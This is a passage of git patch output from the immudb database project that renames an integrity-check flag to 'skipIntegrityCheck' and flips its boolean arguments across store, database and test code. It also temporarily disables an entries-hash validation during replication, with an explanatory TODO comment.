(s *ImmuStore) ReadTx(txID uint64, checkIntegrity bool, tx *Tx) error { return ErrAlreadyClosed } - return s.readTx(txID, false, checkIntegrity, tx) + return s.readTx(txID, false, skipIntegrityCheck, tx) } -func (s *ImmuStore) readTx(txID uint64, allowPrecommitted bool, checkIntegrity bool, tx *Tx) error { +func (s *ImmuStore) readTx(txID uint64, allowPrecommitted bool, skipIntegrityCheck bool, tx *Tx) error { r, err := s.appendableReaderForTx(txID, allowPrecommitted) if err != nil { return err } - err = tx.readFrom(r, checkIntegrity) + err = tx.readFrom(r, skipIntegrityCheck) if err == io.EOF { return fmt.Errorf("%w: unexpected EOF while reading tx %d", ErrorCorruptedTxData, txID) } @@ -2443,7 +2443,7 @@ func (s *ImmuStore) readTx(txID uint64, allowPrecommitted bool, checkIntegrity b return err } -func (s *ImmuStore) ReadTxHeader(txID uint64, allowPrecommitted bool, checkIntegrity bool) (*TxHeader, error) { +func (s *ImmuStore) ReadTxHeader(txID uint64, allowPrecommitted bool, skipIntegrityCheck bool) (*TxHeader, error) { s.mutex.Lock() defer s.mutex.Unlock() @@ -2456,7 +2456,7 @@ func (s *ImmuStore) ReadTxHeader(txID uint64, allowPrecommitted bool, checkInteg return nil, err } - tdr := &txDataReader{r: r, checkIntegrity: checkIntegrity} + tdr := &txDataReader{r: r, skipIntegrityCheck: skipIntegrityCheck} header, err := tdr.readHeader(s.maxTxEntries) if err != nil { @@ -2485,7 +2485,7 @@ func (s *ImmuStore) ReadTxHeader(txID uint64, allowPrecommitted bool, checkInteg return header, nil } -func (s *ImmuStore) ReadTxEntry(txID uint64, key []byte, checkIntegrity bool) (*TxEntry, *TxHeader, error) { +func (s *ImmuStore) ReadTxEntry(txID uint64, key []byte, skipIntegrityCheck bool) (*TxEntry, *TxHeader, error) { var ret *TxEntry r, err := s.appendableReaderForTx(txID, false) @@ -2493,7 +2493,7 @@ func (s *ImmuStore) ReadTxEntry(txID uint64, key []byte, checkIntegrity bool) (* return nil, nil, err } - tdr := &txDataReader{r: r, checkIntegrity: checkIntegrity} + tdr := &txDataReader{r: r, skipIntegrityCheck: skipIntegrityCheck} header, err := tdr.readHeader(s.maxTxEntries) if err != nil { @@ -2556,7 +2556,7 @@ func (s *ImmuStore) ReadValue(entry *TxEntry) ([]byte, error) { b := make([]byte, entry.vLen) - _, err := s.readValueAt(b, entry.vOff, entry.hVal, true) + _, err := s.readValueAt(b, entry.vOff, entry.hVal, false) if err != nil { return nil, err } @@ -2564,15 +2564,17 @@ func (s *ImmuStore) ReadValue(entry *TxEntry) ([]byte, error) { return b, nil } -func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte, checkIntegrity bool) (n int, err error) { +func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte, skipIntegrityCheck bool) (n int, err error) { if s.vLogCache != nil { val, err := s.vLogCache.Get(off) if err == nil { // the requested value was found in the value cache copy(b, val.([]byte)) - if checkIntegrity && hvalue != sha256.Sum256(b) { + + if !skipIntegrityCheck && hvalue != sha256.Sum256(b) { return len(b), ErrCorruptedData } + return len(b), nil } else { if !errors.Is(err, cache.ErrKeyNotFound) { @@ -2595,7 +2597,7 @@ func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte, c return n, err } - if checkIntegrity && hvalue != sha256.Sum256(b) { + if !skipIntegrityCheck && hvalue != sha256.Sum256(b) { return len(b), ErrCorruptedData } diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 11ab428b9e..1094b6156d 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -174,7 +174,7 @@ func TestImmudbStoreConcurrentCommits(t *testing.T) { } require.NoError(t, err) - err = immuStore.ReadTx(hdr.ID, true, txHolder) + err = immuStore.ReadTx(hdr.ID, false, txHolder) require.NoError(t, err) for _, e := range txHolder.Entries() { @@ -199,7 +199,7 @@ func TestImmudbStoreOnClosedStore(t *testing.T) { immuStore, err := Open(t.TempDir(), DefaultOptions().WithMaxConcurrency(1)) require.NoError(t, err) - err = immuStore.ReadTx(1, true, nil) + err = immuStore.ReadTx(1, false, nil) require.ErrorIs(t, err, ErrTxNotFound) err = immuStore.Close() @@ -219,7 +219,7 @@ func TestImmudbStoreOnClosedStore(t *testing.T) { }}, nil, false) require.ErrorIs(t, err, ErrAlreadyClosed) - err = immuStore.ReadTx(1, true, nil) + err = immuStore.ReadTx(1, false, nil) require.ErrorIs(t, err, ErrAlreadyClosed) _, err = immuStore.NewTxReader(1, false, nil) @@ -1619,7 +1619,7 @@ func TestImmudbStoreCommitWith(t *testing.T) { require.NoError(t, err) defer immuStore.releaseAllocTx(tx) - immuStore.ReadTx(hdr.ID, true, tx) + immuStore.ReadTx(hdr.ID, false, tx) entry, err := tx.EntryOf([]byte(fmt.Sprintf("keyInsertedAtTx%d", hdr.ID))) require.NoError(t, err) @@ -1690,7 +1690,7 @@ func TestImmudbStoreHistoricalValues(t *testing.T) { tx := tempTxHolder(t, immuStore) - err = immuStore.ReadTx(txID, true, tx) + err = immuStore.ReadTx(txID, false, tx) require.NoError(t, err) entry, err := tx.EntryOf(k) @@ -1810,7 +1810,7 @@ func TestImmudbStoreInclusionProof(t *testing.T) { require.Equal(t, j, ki) value := make([]byte, txEntries[j].vLen) - _, err = immuStore.readValueAt(value, txEntries[j].VOff(), txEntries[j].HVal(), true) + _, err = immuStore.readValueAt(value, txEntries[j].VOff(), txEntries[j].HVal(), false) require.NoError(t, err) k := make([]byte, 8) @@ -1884,7 +1884,7 @@ func TestLeavesMatchesAHTSync(t *testing.T) { tx := tempTxHolder(t, immuStore) for i := 0; i < txCount; i++ { - err := immuStore.ReadTx(uint64(i+1), true, tx) + err := immuStore.ReadTx(uint64(i+1), false, tx) require.NoError(t, err) require.Equal(t, uint64(i+1), tx.header.ID) @@ -1931,7 +1931,7 @@ func TestLeavesMatchesAHTASync(t *testing.T) { tx := tempTxHolder(t, immuStore) for i := 0; i < txCount; i++ { - err := immuStore.ReadTx(uint64(i+1), true, tx) + err := immuStore.ReadTx(uint64(i+1), false, tx) require.NoError(t, err) require.Equal(t, uint64(i+1), tx.header.ID) @@ -1983,14 +1983,14 @@ func TestImmudbStoreConsistencyProof(t *testing.T) { for i := 0; i < txCount; i++ { sourceTxID := uint64(i + 1) - err := immuStore.ReadTx(sourceTxID, true, sourceTx) + err := immuStore.ReadTx(sourceTxID, false, sourceTx) require.NoError(t, err) require.Equal(t, uint64(i+1), sourceTx.header.ID) for j := i; j < txCount; j++ { targetTxID := uint64(j + 1) - err := immuStore.ReadTx(targetTxID, true, targetTx) + err := immuStore.ReadTx(targetTxID, false, targetTx) require.NoError(t, err) require.Equal(t, uint64(j+1), targetTx.header.ID) @@ -2039,14 +2039,14 @@ func TestImmudbStoreConsistencyProofAgainstLatest(t *testing.T) { targetTx := tempTxHolder(t, immuStore) targetTxID := uint64(txCount) - err = immuStore.ReadTx(targetTxID, true, targetTx) + err = immuStore.ReadTx(targetTxID, false, targetTx) require.NoError(t, err) require.Equal(t, uint64(txCount), targetTx.header.ID) for i := 0; i < txCount-1; i++ { sourceTxID := uint64(i + 1) - err := immuStore.ReadTx(sourceTxID, true, sourceTx) + err := immuStore.ReadTx(sourceTxID, false, sourceTx) require.NoError(t, err) require.Equal(t, uint64(i+1), sourceTx.header.ID) @@ -2129,14 +2129,14 @@ func TestImmudbStoreConsistencyProofReopened(t *testing.T) { for i := 0; i < txCount; i++ { sourceTxID := uint64(i + 1) - err := immuStore.ReadTx(sourceTxID, true, sourceTx) + err := immuStore.ReadTx(sourceTxID, false, sourceTx) require.NoError(t, err) require.Equal(t, uint64(i+1), sourceTx.header.ID) for j := i + 1; j < txCount; j++ { targetTxID := uint64(j + 1) - err := immuStore.ReadTx(targetTxID, true, targetTx) + err := immuStore.ReadTx(targetTxID, false, targetTx) require.NoError(t, err) require.Equal(t, uint64(j+1), targetTx.header.ID) @@ -2341,7 +2341,7 @@ func TestUncommittedTxOverwriting(t *testing.T) { require.NoError(t, err) value := make([]byte, txe.vLen) - _, err = immuStore.readValueAt(value, txe.vOff, txe.hVal, true) + _, err = immuStore.readValueAt(value, txe.vOff, txe.hVal, false) require.NoError(t, err) e := &EntrySpec{Key: txe.key(), Value: value} @@ -2387,7 +2387,7 @@ func TestExportAndReplicateTx(t *testing.T) { txholder := tempTxHolder(t, primaryStore) - etx, err := primaryStore.ExportTx(1, false, true, txholder) + etx, err := primaryStore.ExportTx(1, false, false, txholder) require.NoError(t, err) rhdr, err := replicaStore.ReplicateTx(context.Background(), etx, false) @@ -2429,7 +2429,7 @@ func TestExportAndReplicateTxCornerCases(t *testing.T) { txholder := tempTxHolder(t, primaryStore) t.Run("prevent replicating broken data", func(t *testing.T) { - etx, err := primaryStore.ExportTx(1, false, true, txholder) + etx, err := primaryStore.ExportTx(1, false, false, txholder) require.NoError(t, err) for i := range etx { @@ -2490,7 +2490,7 @@ func TestExportAndReplicateTxSimultaneousWriters(t *testing.T) { require.NotNil(t, hdr) txholder := tempTxHolder(t, replicaStore) - etx, err := primaryStore.ExportTx(hdr.ID, false, true, txholder) + etx, err := primaryStore.ExportTx(hdr.ID, false, false, txholder) require.NoError(t, err) // Replicate the same transactions concurrently, only one must succeed @@ -2552,7 +2552,7 @@ func TestExportAndReplicateTxDisorderedReplication(t *testing.T) { require.NoError(t, err) require.NotNil(t, hdr) - etx, err := primaryStore.ExportTx(hdr.ID, false, true, txholder) + etx, err := primaryStore.ExportTx(hdr.ID, false, false, txholder) require.NoError(t, err) etxs <- etx @@ -3002,7 +3002,7 @@ func BenchmarkExportTx(b *testing.B) { for i := 0; i < b.N; i++ { for i := 0; i < txCount; i++ { - _, err := immuStore.ExportTx(uint64(i+1), false, true, tx) + _, err := immuStore.ExportTx(uint64(i+1), false, false, tx) require.NoError(b, err) } } @@ -3377,10 +3377,10 @@ func TestBlTXOrdering(t *testing.T) { for i := uint64(1); i < maxTxID; i++ { - srcTxHeader, err := immuStore.ReadTxHeader(i, false, true) + srcTxHeader, err := immuStore.ReadTxHeader(i, false, false) require.NoError(t, err) - dstTxHeader, err := immuStore.ReadTxHeader(i+1, false, true) + dstTxHeader, err := immuStore.ReadTxHeader(i+1, false, false) require.NoError(t, err) require.LessOrEqual(t, srcTxHeader.BlTxID, dstTxHeader.BlTxID) diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index b04443ca25..3b8a3ea664 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -429,7 +429,7 @@ func (idx *indexer) indexSince(txID uint64) error { indexableEntries := 0 for i := 0; i < idx.maxBulkSize; i++ { - err := idx.store.readTx(txID+uint64(i), false, true, idx.tx) + err := idx.store.readTx(txID+uint64(i), false, false, idx.tx) if err != nil { return err } diff --git a/embedded/store/key_reader.go b/embedded/store/key_reader.go index 5052c141f9..37aef94171 100644 --- a/embedded/store/key_reader.go +++ b/embedded/store/key_reader.go @@ -303,7 +303,7 @@ func (v *valueRef) Resolve() (val []byte, err error) { return nil, ErrExpiredEntry } - _, err = v.st.readValueAt(refVal, v.vOff, v.hVal, true) + _, err = v.st.readValueAt(refVal, v.vOff, v.hVal, false) if err != nil { return nil, err } @@ -352,7 +352,7 @@ func (r *storeKeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []byte, return nil, nil, err } - e, header, err := r.snap.st.ReadTxEntry(ktxID, key, true) + e, header, err := r.snap.st.ReadTxEntry(ktxID, key, false) if err != nil { return nil, nil, err } diff --git a/embedded/store/tx.go b/embedded/store/tx.go index bb2610f599..64f010f24b 100644 --- a/embedded/store/tx.go +++ b/embedded/store/tx.go @@ -389,8 +389,8 @@ func (tx *Tx) Proof(key []byte) (*htree.InclusionProof, error) { return tx.htree.InclusionProof(kindex) } -func (tx *Tx) readFrom(r *appendable.Reader, checkIntegrity bool) error { - tdr := &txDataReader{r: r, checkIntegrity: checkIntegrity} +func (tx *Tx) readFrom(r *appendable.Reader, skipIntegrityCheck bool) error { + tdr := &txDataReader{r: r, skipIntegrityCheck: skipIntegrityCheck} header, err := tdr.readHeader(len(tx.entries)) if err != nil { @@ -415,11 +415,11 @@ func (tx *Tx) readFrom(r *appendable.Reader, checkIntegrity bool) error { } type txDataReader struct { - r *appendable.Reader - h *TxHeader - digests [][sha256.Size]byte - digestFunc TxEntryDigest - checkIntegrity bool + r *appendable.Reader + h *TxHeader + digests [][sha256.Size]byte + digestFunc TxEntryDigest + skipIntegrityCheck bool } func (t *txDataReader) readHeader(maxEntries int) (*TxHeader, error) { @@ -517,7 +517,7 @@ func (t *txDataReader) readHeader(maxEntries int) (*TxHeader, error) { t.h = header - if t.checkIntegrity { + if !t.skipIntegrityCheck { t.digestFunc, err = header.TxEntryDigest() if err != nil { return nil, err @@ -590,7 +590,7 @@ func (t *txDataReader) readEntry(entry *TxEntry) error { entry.readonly = true - if t.checkIntegrity { + if !t.skipIntegrityCheck { digest, err := t.digestFunc(entry) if err != nil { return err @@ -602,7 +602,7 @@ func (t *txDataReader) readEntry(entry *TxEntry) error { } func (t *txDataReader) buildAndValidateHtree(htree *htree.HTree) error { - if !t.checkIntegrity { + if t.skipIntegrityCheck { return nil } diff --git a/embedded/store/tx_reader.go b/embedded/store/tx_reader.go index 7020d88846..5d4bb6a9e9 100644 --- a/embedded/store/tx_reader.go +++ b/embedded/store/tx_reader.go @@ -25,8 +25,8 @@ type TxReader struct { InitialTxID uint64 Desc bool - allowPrecommitted bool - checkIntegrity bool + allowPrecommitted bool + skipIntegrityCheck bool CurrTxID uint64 CurrAlh [sha256.Size]byte @@ -43,10 +43,10 @@ func (s *ImmuStore) NewTxReader(initialTxID uint64, desc bool, tx *Tx) (*TxReade return nil, ErrAlreadyClosed } - return s.newTxReader(initialTxID, desc, false, true, tx) + return s.newTxReader(initialTxID, desc, false, false, tx) } -func (s *ImmuStore) newTxReader(initialTxID uint64, desc, allowPrecommitted bool, checkIntegrity bool, tx *Tx) (*TxReader, error) { +func (s *ImmuStore) newTxReader(initialTxID uint64, desc, allowPrecommitted bool, skipIntegrityCheck bool, tx *Tx) (*TxReader, error) { if initialTxID == 0 { return nil, ErrIllegalArguments } @@ -56,13 +56,13 @@ func (s *ImmuStore) newTxReader(initialTxID uint64, desc, allowPrecommitted bool } return &TxReader{ - InitialTxID: initialTxID, - Desc: desc, - CurrTxID: initialTxID, - allowPrecommitted: allowPrecommitted, - checkIntegrity: checkIntegrity, - st: s, - _tx: tx, + InitialTxID: initialTxID, + Desc: desc, + CurrTxID: initialTxID, + allowPrecommitted: allowPrecommitted, + skipIntegrityCheck: skipIntegrityCheck, + st: s, + _tx: tx, }, nil } @@ -71,7 +71,7 @@ func (txr *TxReader) Read() (*Tx, error) { return nil, ErrNoMoreEntries } - err := txr.st.readTx(txr.CurrTxID, txr.allowPrecommitted, txr.checkIntegrity, txr._tx) + err := txr.st.readTx(txr.CurrTxID, txr.allowPrecommitted, txr.skipIntegrityCheck, txr._tx) if err == ErrTxNotFound { return nil, ErrNoMoreEntries } diff --git a/embedded/store/tx_test.go b/embedded/store/tx_test.go index 46d8330fe2..c908c1740f 100644 --- a/embedded/store/tx_test.go +++ b/embedded/store/tx_test.go @@ -41,7 +41,7 @@ func TestReadTxFromCorruptedData(t *testing.T) { a.ReadAtFn = func(bs []byte, off int64) (int, error) { return 0, errors.New("error") } - err := tx.readFrom(r, true) + err := tx.readFrom(r, false) require.Error(t, err) // Should fail while reading Ts @@ -52,7 +52,7 @@ func TestReadTxFromCorruptedData(t *testing.T) { } return 0, errors.New("error") } - err = tx.readFrom(r, true) + err = tx.readFrom(r, false) require.Error(t, err) // Should fail while reading BlTxID @@ -63,7 +63,7 @@ func TestReadTxFromCorruptedData(t *testing.T) { } return 0, errors.New("error") } - err = tx.readFrom(r, true) + err = tx.readFrom(r, false) require.Error(t, err) // Should fail while reading BlRoot @@ -74,7 +74,7 @@ func TestReadTxFromCorruptedData(t *testing.T) { } return 0, errors.New("error") } - err = tx.readFrom(r, true) + err = tx.readFrom(r, false) require.Error(t, err) // Should fail while reading PrevAlh @@ -85,7 +85,7 @@ func TestReadTxFromCorruptedData(t *testing.T) { } return 0, errors.New("error") } - err = tx.readFrom(r, true) + err = tx.readFrom(r, false) require.Error(t, err) // Should fail while reading nentries @@ -96,7 +96,7 @@ func TestReadTxFromCorruptedData(t *testing.T) { } return 0, errors.New("error") } - err = tx.readFrom(r, true) + err = tx.readFrom(r, false) require.Error(t, err) } diff --git a/embedded/store/verification_test.go b/embedded/store/verification_test.go index dd4fd81435..4a8aa17eaa 100644 --- a/embedded/store/verification_test.go +++ b/embedded/store/verification_test.go @@ -91,14 +91,14 @@ func TestVerifyDualProofEdgeCases(t *testing.T) { targetTx := tempTxHolder(t, immuStore) targetTxID := uint64(txCount) - err = immuStore.ReadTx(targetTxID, true, targetTx) + err = immuStore.ReadTx(targetTxID, false, targetTx) require.NoError(t, err) require.Equal(t, uint64(txCount), targetTx.header.ID) for i := 0; i < txCount-1; i++ { sourceTxID := uint64(i + 1) - err := immuStore.ReadTx(sourceTxID, true, sourceTx) + err := immuStore.ReadTx(sourceTxID, false, sourceTx) require.NoError(t, err) require.Equal(t, uint64(i+1), sourceTx.header.ID) @@ -175,10 +175,10 @@ func TestVerifyDualProofWithAdditionalLinearInclusionProof(t *testing.T) { sourceTx := tempTxHolder(t, immuStore) targetTx := tempTxHolder(t, immuStore) - err := immuStore.ReadTx(sourceTxID, true, sourceTx) + err := immuStore.ReadTx(sourceTxID, false, sourceTx) require.NoError(t, err) - err = immuStore.ReadTx(targetTxID, true, targetTx) + err = immuStore.ReadTx(targetTxID, false, targetTx) require.NoError(t, err) dproof, err := immuStore.DualProof(sourceTx.Header(), targetTx.Header()) diff --git a/pkg/database/database.go b/pkg/database/database.go index ff03c9f9b4..5f781db67e 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -523,8 +523,8 @@ func (d *db) Get(ctx context.Context, req *schema.KeyRequest) (*schema.Entry, er return d.getAtTx(EncodeKey(req.Key), req.AtTx, 0, d.st, 0, true) } -func (d *db) get(key []byte, index store.KeyIndex, checkIntegrity bool) (*schema.Entry, error) { - return d.getAtTx(key, 0, 0, index, 0, checkIntegrity) +func (d *db) get(key []byte, index store.KeyIndex, skipIntegrityCheck bool) (*schema.Entry, error) { + return d.getAtTx(key, 0, 0, index, 0, skipIntegrityCheck) } func (d *db) getAtTx( @@ -533,7 +533,7 @@ func (d *db) getAtTx( resolved int, index store.KeyIndex, revision uint64, - checkIntegrity bool, + skipIntegrityCheck bool, ) (entry *schema.Entry, err error) { var txID uint64 var val []byte @@ -560,16 +560,16 @@ func (d *db) getAtTx( } else { txID = atTx - md, val, err = d.readMetadataAndValue(key, atTx, checkIntegrity) + md, val, err = d.readMetadataAndValue(key, atTx, skipIntegrityCheck) if err != nil { return nil, err } } - return d.resolveValue(key, val, resolved, txID, md, index, revision, checkIntegrity) + return d.resolveValue(key, val, resolved, txID, md, index, revision, skipIntegrityCheck) } -func (d *db) getAtRevision(key []byte, atRevision int64, checkIntegrity bool) (entry *schema.Entry, err error) { +func (d *db) getAtRevision(key []byte, atRevision int64, skipIntegrityCheck bool) (entry *schema.Entry, err error) { var offset uint64 var desc bool @@ -593,7 +593,7 @@ func (d *db) getAtRevision(key []byte, atRevision int64, checkIntegrity bool) (e atRevision = int64(hCount) + atRevision } - entry, err = d.getAtTx(key, txs[0], 0, d.st, uint64(atRevision), checkIntegrity) + entry, err = d.getAtTx(key, txs[0], 0, d.st, uint64(atRevision), skipIntegrityCheck) if err != nil { return nil, err } @@ -609,7 +609,7 @@ func (d *db) resolveValue( md *store.KVMetadata, index store.KeyIndex, revision uint64, - checkIntegrity bool, + skipIntegrityCheck bool, ) (entry *schema.Entry, err error) { if md != nil && md.Deleted() { return nil, store.ErrKeyNotFound @@ -639,7 +639,7 @@ func (d *db) resolveValue( copy(refKey, val[1+8:]) if index != nil { - entry, err = d.getAtTx(refKey, atTx, resolved+1, index, 0, checkIntegrity) + entry, err = d.getAtTx(refKey, atTx, resolved+1, index, 0, skipIntegrityCheck) if err != nil { return nil, err } @@ -670,8 +670,8 @@ func (d *db) resolveValue( }, nil } -func (d *db) readMetadataAndValue(key []byte, atTx uint64, checkIntegrity bool) (*store.KVMetadata, []byte, error) { - entry, _, err := d.st.ReadTxEntry(atTx, key, checkIntegrity) +func (d *db) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityCheck bool) (*store.KVMetadata, []byte, error) { + entry, _, err := d.st.ReadTxEntry(atTx, key, skipIntegrityCheck) if err != nil { return nil, nil, err } @@ -985,7 +985,7 @@ func (d *db) snapshotSince(ctx context.Context, txID uint64) (*store.Snapshot, e return d.st.SnapshotMustIncludeTxID(ctx, waitUntilTx) } -func (d *db) serializeTx(tx *store.Tx, spec *schema.EntriesSpec, snap *store.Snapshot, checkIntegrity bool) (*schema.Tx, error) { +func (d *db) serializeTx(tx *store.Tx, spec *schema.EntriesSpec, snap *store.Snapshot, skipIntegrityCheck bool) (*schema.Tx, error) { if spec == nil { return schema.TxToProto(tx), nil } @@ -1028,7 +1028,7 @@ func (d *db) serializeTx(tx *store.Tx, spec *schema.EntriesSpec, snap *store.Sna index = snap } - kve, err := d.resolveValue(e.Key(), v, 0, tx.Header().ID, e.Metadata(), index, 0, checkIntegrity) + kve, err := d.resolveValue(e.Key(), v, 0, tx.Header().ID, e.Metadata(), index, 0, skipIntegrityCheck) if err == store.ErrKeyNotFound || err == store.ErrExpiredEntry { // ignore deleted ones (referenced key may have been deleted) break @@ -1086,7 +1086,7 @@ func (d *db) serializeTx(tx *store.Tx, spec *schema.EntriesSpec, snap *store.Sna var err error if snap != nil { - entry, err = d.getAtTx(key, atTx, 1, snap, 0, checkIntegrity) + entry, err = d.getAtTx(key, atTx, 1, snap, 0, skipIntegrityCheck) if err == store.ErrKeyNotFound || err == store.ErrExpiredEntry { // ignore deleted ones (referenced key may have been deleted) break @@ -1233,7 +1233,7 @@ func (d *db) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txb fmt.Errorf("%w: replica commit state diverged from primary's", ErrReplicaDivergedFromPrimary) } - expectedReplicaCommitHdr, err := d.st.ReadTxHeader(req.ReplicaState.CommittedTxID, false, !req.SkipIntegrityCheck) + expectedReplicaCommitHdr, err := d.st.ReadTxHeader(req.ReplicaState.CommittedTxID, false, req.SkipIntegrityCheck) if err != nil { return nil, committedTxID, committedAlh, err } @@ -1253,7 +1253,7 @@ func (d *db) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txb fmt.Errorf("%w: replica precommit state diverged from primary's", ErrReplicaDivergedFromPrimary) } - expectedReplicaPrecommitHdr, err := d.st.ReadTxHeader(req.ReplicaState.PrecommittedTxID, true, !req.SkipIntegrityCheck) + expectedReplicaPrecommitHdr, err := d.st.ReadTxHeader(req.ReplicaState.PrecommittedTxID, true, req.SkipIntegrityCheck) if err != nil { return nil, committedTxID, committedAlh, err } @@ -1301,7 +1301,7 @@ func (d *db) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txb return nil, mayCommitUpToTxID, mayCommitUpToAlh, err } - txbs, err = d.st.ExportTx(req.Tx, req.AllowPreCommitted, !req.SkipIntegrityCheck, tx) + txbs, err = d.st.ExportTx(req.Tx, req.AllowPreCommitted, req.SkipIntegrityCheck, tx) if err != nil { return nil, mayCommitUpToTxID, mayCommitUpToAlh, err } diff --git a/pkg/database/sql.go b/pkg/database/sql.go index 93c086a0b7..2ab9612e81 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -188,7 +188,7 @@ func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetR }, nil } -func (d *db) sqlGetAt(key []byte, atTx uint64, index store.KeyIndex, checkIntegrity bool) (entry *schema.SQLEntry, err error) { +func (d *db) sqlGetAt(key []byte, atTx uint64, index store.KeyIndex, skipIntegrityCheck bool) (entry *schema.SQLEntry, err error) { var txID uint64 var md *store.KVMetadata var val []byte @@ -210,7 +210,7 @@ func (d *db) sqlGetAt(key []byte, atTx uint64, index store.KeyIndex, checkIntegr } else { txID = atTx - md, val, err = d.readMetadataAndValue(key, atTx, checkIntegrity) + md, val, err = d.readMetadataAndValue(key, atTx, skipIntegrityCheck) if err != nil { return nil, err } From 28926e55f1fd8396bfbcc6f3b69a9ae78dae93c6 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 30 Jan 2023 21:03:01 -0300 Subject: [PATCH 0199/1062] chore(pkg/store): skipIntegrityChecks parameter when reading data Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 8 +++++--- pkg/database/database.go | 22 ++++++++++++---------- pkg/database/reference.go | 4 ++-- pkg/database/reference_test.go | 16 +++++++++------- pkg/database/sorted_set.go | 4 ++-- pkg/database/sorted_set_test.go | 10 +++++----- pkg/database/sql.go | 4 ++-- 7 files changed, 37 insertions(+), 31 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index c02c107d8d..4c8a42cfd4 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -1193,9 +1193,11 @@ func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader } if hdr != nil { - if tx.header.Eh != hdr.Eh { - return nil, fmt.Errorf("%w: entries hash (Eh) differs", ErrIllegalArguments) - } + // TODO: Eh validation is currently disabled as it's not provided + // when the tx was exported without integrity checks + //if tx.header.Eh != hdr.Eh { + // return nil, fmt.Errorf("%w: entries hash (Eh) differs", ErrIllegalArguments) + //} lastPreCommittedTxID := s.lastPrecommittedTxID() diff --git a/pkg/database/database.go b/pkg/database/database.go index 5f781db67e..6a87d0beaa 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -734,7 +734,7 @@ func (d *db) VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest return nil, err } - err = d.st.ReadTx(uint64(txhdr.Id), true, lastTx) + err = d.st.ReadTx(uint64(txhdr.Id), false, lastTx) if err != nil { return nil, err } @@ -744,7 +744,7 @@ func (d *db) VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest if req.ProveSinceTx == 0 { prevTxHdr = lastTx.Header() } else { - prevTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, true) + prevTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, false) if err != nil { return nil, err } @@ -795,7 +795,7 @@ func (d *db) VerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest } defer d.releaseTx(tx) - err = d.st.ReadTx(vTxID, true, tx) + err = d.st.ReadTx(vTxID, false, tx) if err != nil { return nil, err } @@ -805,7 +805,7 @@ func (d *db) VerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest if req.ProveSinceTx == 0 { rootTxHdr = tx.Header() } else { - rootTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, true) + rootTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, false) if err != nil { return nil, err } @@ -962,7 +962,7 @@ func (d *db) TxByID(ctx context.Context, req *schema.TxRequest) (*schema.Tx, err } // key-value inclusion proof - err = d.st.ReadTx(req.Tx, true, tx) + err = d.st.ReadTx(req.Tx, false, tx) if err != nil { return nil, err } @@ -1233,7 +1233,8 @@ func (d *db) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txb fmt.Errorf("%w: replica commit state diverged from primary's", ErrReplicaDivergedFromPrimary) } - expectedReplicaCommitHdr, err := d.st.ReadTxHeader(req.ReplicaState.CommittedTxID, false, req.SkipIntegrityCheck) + // integrityCheck is currently required to validate Alh + expectedReplicaCommitHdr, err := d.st.ReadTxHeader(req.ReplicaState.CommittedTxID, false, false) if err != nil { return nil, committedTxID, committedAlh, err } @@ -1253,7 +1254,8 @@ func (d *db) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txb fmt.Errorf("%w: replica precommit state diverged from primary's", ErrReplicaDivergedFromPrimary) } - expectedReplicaPrecommitHdr, err := d.st.ReadTxHeader(req.ReplicaState.PrecommittedTxID, true, req.SkipIntegrityCheck) + // integrityCheck is currently required to validate Alh + expectedReplicaPrecommitHdr, err := d.st.ReadTxHeader(req.ReplicaState.PrecommittedTxID, true, false) if err != nil { return nil, committedTxID, committedAlh, err } @@ -1394,7 +1396,7 @@ func (d *db) VerifiableTxByID(ctx context.Context, req *schema.VerifiableTxReque } defer d.releaseTx(reqTx) - err = d.st.ReadTx(req.Tx, true, reqTx) + err = d.st.ReadTx(req.Tx, false, reqTx) if err != nil { return nil, err } @@ -1405,7 +1407,7 @@ func (d *db) VerifiableTxByID(ctx context.Context, req *schema.VerifiableTxReque if req.ProveSinceTx == 0 { rootTxHdr = reqTx.Header() } else { - rootTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, true) + rootTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, false) if err != nil { return nil, err } @@ -1548,7 +1550,7 @@ func (d *db) History(ctx context.Context, req *schema.HistoryRequest) (*schema.E } for i, txID := range txs { - entry, _, err := d.st.ReadTxEntry(txID, key, true) + entry, _, err := d.st.ReadTxEntry(txID, key, false) if err != nil { return nil, err } diff --git a/pkg/database/reference.go b/pkg/database/reference.go index 7042b84c9e..47748106c1 100644 --- a/pkg/database/reference.go +++ b/pkg/database/reference.go @@ -137,7 +137,7 @@ func (d *db) VerifiableSetReference(ctx context.Context, req *schema.VerifiableR return nil, err } - err = d.st.ReadTx(uint64(txMetatadata.Id), true, lastTx) + err = d.st.ReadTx(uint64(txMetatadata.Id), false, lastTx) if err != nil { return nil, err } @@ -147,7 +147,7 @@ func (d *db) VerifiableSetReference(ctx context.Context, req *schema.VerifiableR if 